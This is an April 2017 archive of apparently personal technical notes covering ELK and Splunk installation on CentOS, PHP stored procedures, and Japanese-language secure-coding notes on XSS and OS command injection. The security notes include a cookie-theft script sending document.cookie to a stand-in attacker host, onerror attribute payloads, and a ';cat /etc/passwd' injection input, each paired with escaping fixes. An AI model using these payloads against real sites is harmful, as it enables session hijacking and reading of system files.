April 2017 Archives

How to Install Elasticsearch+logstash+kibana on CentOS


- Install Elasticsearch by following.


https://www.elastic.co/guide/en/elasticsearch/reference/5.3/rpm.html



- Configure Elasticsearch
https://www.elastic.co/guide/en/elasticsearch/reference/5.3/settings.html


/etc/elasticsearch/elasticsearch.yml 
network.host: 153.126.171.84


- Start Elasticsearch

/etc/rc.d/init.d/elasticsearch start

$ curl localhost:9200
{
  "name" : "yPjLETS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "fFp2Z0L8RxyKa7f26TEPng",
  "version" : {
    "number" : "5.3.1",
    "build_hash" : "5f9cf58",
    "build_date" : "2017-04-17T15:52:53.846Z",
    "build_snapshot" : false,
    "lucene_version" : "6.4.2"
  },
  "tagline" : "You Know, for Search"
}

c.f.
logfile:
	/var/log/elasticsearch/


- Install logstash by following.
https://www.elastic.co/guide/en/logstash/5.3/installing-logstash.html#_yum

yum install logstash


- start logstash

initctl start logstash


- Install kibana

 cd /var/www/html/html/


wget https://artifacts.elastic.co/downloads/kibana/kibana-5.0.0-linux-x86_64.tar.gz

 tar zxvf kibana-5.0.0-linux-x86_64.tar.gz 
 mv kibana-5.0.0-linux-x86_64/ kibana
 chown -R apache:apache kibana/
 
 c.f.


https://www.elastic.co/guide/en/beats/libbeat/5.3/kibana-installation.html
https://www.elastic.co/guide/en/kibana/current/targz.html



- Setting kibana

/var/www/html/html/kibana/config/kibana.yml
server.host: "www.reverse-edge.com"
logging.quiet: true

c.f.


https://www.elastic.co/guide/en/kibana/current/settings.html
http://qiita.com/windows222/items/57423a420d57399cbc3e

  


- Run kibana

 ./bin/kibana
 


- Allow 5601 port using iptable

 -A INPUT -p tcp -m tcp --dport 5601 -j ACCEPT 


- access kibana
http://www.reverse-edge.com:5601
c.f. https://www.elastic.co/guide/en/kibana/current/access.html


 
XSS

XSS


- 要素の内容にスクリプトを注入

-サンプルコード1
<?php
    $username = $_GET["username"];
    session_start();
    print " ".$username;
?>

-攻撃コード
- ダイアログを表示
usernameに以下を入力
<script>alert(document.cookie)</script>

http://hogehoge.com/xss.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E

- cookieを攻撃者のサーバに送信
http://hogehoge.com/xss.phpusername=<script>window.location=
'http://attacker.malicious.com/attack.php?'+document.cookie;</script>

実際にはURLエンコードが必要
攻撃者サーバのアクセスログ

GET /attack.php?PHPSESSID=486kotqq25ij9t3tj0nq0ebp25 HTTP/1.1" 200 94 "http://hogehoge.com/xss.php?username=%22%3E%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker.malicious.com%2Fattack.php%3F%27%2Bdocument.cookie%3B%3C%2Fscript%3E%3C!--" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0"

-->PHPSESSIDが送られてしまう

- 対策の検証

- レスポンスのエスケープ
  <>&" ' のエスケープ(実体参照化)が必要

- サンプルコード(要素の内容)
<p> <?php echo htmlspecialchars($username, ENT_QUOTES, "UTF-8"); ?></p>

- レスポンス
<p> &quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;!--</p>

- JavaScriptのエスケープ
HTMLコードを書き出しているdocument.write, innerHTMLなどは同様の対策が必要。

-サンプルコード(脆弱な例)
document.write("Your name is "+document.getElementsByName('username')[0].value);

- インプット(username)
<script>alert("xss!")</script>

- サンプルコード(エスケープ)
JSには標準APIにはエスケープの機能がない
function escapeHtml(str) {
    str = str.replace(/&/g, '&amp;');
    str = str.replace(/</g, '&lt;');
    str = str.replace(/>/g, '&gt;');
    str = str.replace(/"/g, '&quot;');
    str = str.replace(/'/g, '&#39;');
    return str;
}

- 要素の属性
ダブルクォートで囲い、属性値のダブルクォートを&quotにエスケープ
①エスケープなし、ダブルクォート囲いなし

- サンプルコード
<?php
    $icon = $_GET["icon"];
    print '<img src='.$icon.'>';
?>

- インプット(icon)
icon not found onerror=alert(document.cookie);

- レスポンス
<img src=icon not found onerror=alert(document.cookie);>	

-->スクリプトが実行される
②エスケープなし、ダブルクォート囲いあり

- サンプルコード
<?php
    $icon = $_GET["icon"];
    print '<img src="'.$icon.'">';
?>

-インプット
icon not found "onerror=alert(document.cookie);"
<img src="icon not found "onerror=alert(document.cookie);"">	

-->スクリプトが実行される
③エスケープあり、ダブルクォート囲いあり

- サンプルコード
<?php
    $icon = $_GET["icon"];
  $icon=htmlspecialchars($icon, ENT_QUOTES, "UTF-8");
    print '<img src="'.$icon.'">';
?>

- インプット
icon not found "onerror=alert(document.cookie);"

-レスポンス
<img src="icon not found &quot;onerror=alert(document.cookie);&quot;">	

-->スクリプトが実行されない
参考)

https://cybozudev.zendesk.com/hc/ja/articles/201850320-JavaScript%E3%81%A7%E3%82%BB%E3%82%AD%E3%83%A5%E3%82%A2%E3%81%AA%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%92%E3%81%99%E3%82%8B%E3%81%9F%E3%82%81%E3%81%AB%E6%B0%97%E3%82%92%E3%81%A4%E3%81%91%E3%82%8B%E3%81%93%E3%81%A8

http://blog.tokumaru.org/2015/04/phpsqlxss.html

http://gihyo.jp/admin/serial/01/charcode/0001

https://www.ipa.go.jp/security/awareness/vendor/programmingv1/a01_02.html

http://itpro.nikkeibp.co.jp/article/COLUMN/20080221/294407/?rt=nocnt

OS コマンドインジェクション



- 脆弱なコードの例

<html>
<body>
  <form name="mailForm" action="mail.php" method="POST">
    メールアドレス: <input type="text" name="email" size="40"><br>
    <input type="submit" value="send">
  </form>
</body>
</html>
<?php
$email=$_POST['email'];
system("echo 'hello' | sendmail ".$email);
print "メールアドレス:".$email;
?>


- 入力

user1@example.com;cat /etc/passwd


- 対策
- エスケープする

system("echo 'hello' | sendmail ".escapeshellarg($email));


- OSコマンドを実行可能なAPI(systemとか)を使わない

(可能ならプログラムの機能を使う)

mb_send_mail($email,$subject,$body,"From:".$from);


-シェルを経由しないでコマンドを起動する

pcntl-execはシェルを経由しないが、CGIモードでないと使えないらしい


http://php.net/manual/ja/function.pcntl-exec.php
http://blog.tokumaru.org/2013/12/php_21.html


        

How to use stored procedure in PHP


- Create procedure
delimiter //
CREATE PROCEDURE selectOrders(IN user varchar(255), IN keyword varchar(255))
BEGIN
  SELECT * from orders where username=user and ordername =keyword;
END;

- Check procedure
show procedure status;
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
| Db       | Name         | Type      | Definer        | Modified            | Created             | Security_type | Comment | character_set_client | collation_connection | Database Collation |
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
| shopping | selectOrders | PROCEDURE | root@localhost | 2017-04-14 17:37:18 | 2017-04-14 17:37:18 | DEFINER       |         | utf8                 | utf8_general_ci      | latin1_swedish_ci  |
+----------+--------------+-----------+----------------+---------------------+---------------------+---------------+---------+----------------------+----------------------+--------------------+
show create procedure selectOrders;

---------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| Procedure    | sql_mode                                   | Create Procedure                                                                                                                                                                       | character_set_client | collation_connection | Database Collation |
+--------------+--------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
| selectOrders | STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION | CREATE DEFINER=`root`@`localhost` PROCEDURE `selectOrders`(IN user varchar(255), IN keyword varchar(255))
BEGIN
  SELECT * from orders where username=user and ordername =keyword;
END | utf8                 | utf8_general_ci      | latin1_swedish_ci  |
+--------------+--------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+----------------------+--------------------+
1 row in set (0.01 sec)
 call selectOrders('User1','Buy books');
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
| id | username | ordername | amount | create_time         | update_time         | extra1 | extra2 |
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+
|  1 | User1    | Buy books |   5000 | 2017-04-07 14:07:30 | 2017-04-07 14:07:30 | NULL   | NULL   |
+----+----------+-----------+--------+---------------------+---------------------+--------+--------+

- Call procedure from PHP (PDO)
<?php
$ds = "mysql:host=localhost;dbname=shopping";
$user = "root";
$pass = "root";
$dbh = new PDO($ds, $user, $pass);
$stmt = $dbh->prepare("call selectOrders(?,?)");
 $stmt->bindParam(1,$username,PDO::PARAM_STR);
 $stmt->bindParam(2,$keyword,PDO::PARAM_STR);
$stmt->execute();
$query = $stmt->queryString;
while($row = $stmt->fetch()){
        print $row["username"];
        print $row["ordername"];
        print $row["amount"];
}
?>

- インストール


http://ricemalt.blog98.fc2.com/blog-entry-2.html
に従ってインストール

- 環境変数設定
export SPLUNK_HOME=/opt/splunk
PATH=$PATH:$SPLUNK_HOME/bin

- 自動起動設定
splunk enable boot-start

- 起動
splunk start	/	stop	/	restart
※非root ユーザでの Splunk の起動設定は実施せず

- 通信許可
iptables で8000(TCP),8089(TCP),443(UDP/syslog),9997(forwarder)を許可

- WebUI
http://{hostname}:8000/

- ユーザ作成
admin(元々存在する)

- ログ収集設定

- syslog
http://ricemalt.blog98.fc2.com/blog-entry-9.html
に従って、ファイルとディレクトリでsyslog配下をモニタするように設定

- windows イベントログ
http://blog.serverworks.co.jp/tech/2015/08/05/splunk-enterprise-windows-eventlog/
に従って設定
サーバ側:
Splunk Add-on for Microsoft Windowsをインストール
WebUIからSplunk Appからインストールできるみたいだが、ダウンロード時にエラーになったので、
ダウンロードページから手動で取得し、サーバに転送

https://splunkbase.splunk.com/app/742/
解凍して、以下に配置し、splunk再起動
/opt/splunk/etc/apps
Forwarder:TCP(9997)でリッスンするように設定
ログ収集対象のwindows:
Splunk Universal Forwarderをインストール
これだけで、リアルタイムでイベントログが収集できるようになる
ただし、イベントログの文字列そのままで、項目の抽出はされていない

- アラート設定
検索クエリを入力し、save as --> alert を選択すると、アラート条件として保存できる
アラート発生時のアクションとして、メール送信やスクリプト実行ができる

        

About this Archive

This page is an archive of entries from April 2017 listed from newest to oldest.

March 2017 is the previous archive.

July 2017 is the next archive.

Find recent content on the main index or look in the archives to find all content.